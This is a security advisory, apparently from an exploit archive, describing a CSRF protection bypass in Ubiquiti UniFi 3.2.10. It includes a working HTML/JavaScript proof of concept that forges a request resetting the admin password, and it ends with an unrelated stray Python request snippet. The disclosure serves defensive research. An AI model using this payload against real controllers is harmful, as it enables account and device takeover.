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"Ubiquiti Networks UniFi 3.2.10 - Cross-Site Request Forgery"

Author

Exploit author

"Julien Ahrens"

Platform

Exploit platform

json

Release date

Exploit published date

2016-02-23

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RCE Security Advisory
https://www.rcesecurity.com
 
 
1. ADVISORY INFORMATION
-----------------------
Product:        Ubiquiti Networks UniFi
Vendor URL:     www.ubnt.com
Type:           Cross-Site Request Forgery [CWE-353]
Date found:     2015-03-19
Date published: 2016-02-23
CVSSv3 Score:   6.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)
CVE:            -
 
 
2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
 
 
3. VERSIONS AFFECTED
--------------------
UniFi v3.2.10
older versions may be affected too.


4. INTRODUCTION
---------------
The UniFi® Controller software is a powerful, enterprise wireless software 
engine ideal for high-density client deployments requiring low latency and 
high uptime performance. A single UniFi Controller running in the cloud 
can manage multiple sites: multiple, distributed deployments and 
multi-tenancy for managed service providers.

(from the vendor's homepage)
 
 
5. VULNERABILITY DESCRIPTION
----------------------------
A generic Cross-Site Request Forgery protection bypass vulnerability was
identified in UniFi v3.2.10 and prior.
 
The application uses a CSRF protection, which is based on verifying the
Referer header, but does not catch the case where the Referer header
is completely missing. 
 
This leads to a generic CSRF protection bypass, resulting in all 
application specific functionalities becoming vulnerable. An attacker needs 
to trick the victim to visit an arbitrary website in order to exploit the 
vulnerability. Successful exploits can allow the attacker to compromise the
whole application including connected devices, e.g. by changing passwords
of users, adding new users, changing device usernames and passwords or by 
creating new WLAN configurations.
 
 
6. PROOF-OF-CONCEPT
-------------------
The following PoC changes the password of the user "admin" to "csrfpwd":

<html>
<head>
<script>
function load() {
    var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +
                    '<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40mail.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('csrf').submit();
}
</script>
</head>
<body onload="load()">
<iframe src="about:blank" id="noreferer">< /iframe>
</body>
</html>
 
 
7. SOLUTION
-----------
Upgrade to UniFi v4.7.5 or later
 
 
8. REPORT TIMELINE
------------------
2015-03-19: Discovery of the vulnerability
2015-03-10: Reported via Ubiquiti's Bug Bounty program (hackerone.com)
2015-06-02: Vendor apologizes his backlog
2015-09-28: Asking for status update via HackerOne 
2015-09-28: Vendor asks to test against version 4.7.5
2015-10-02: Verified working fix for v4.7.5
2015-10-23: Vendor changes status to "Resolved"
2015-11-24: Asking for coordinated disclosure via email
2015-12-08: No response from vendor
2015-12-08: Requested public disclosure on HackerOne
2016-01-08: Report is published automatically
2016-02-23: Advisory released
 
 
9. REFERENCES
-------------
https://www.rcesecurity.com/2016/02/ubiquiti-bug-bounty-unifi-v3-2-10-generic-csrf-protection-bypass
https://hackerone.com/reports/52635
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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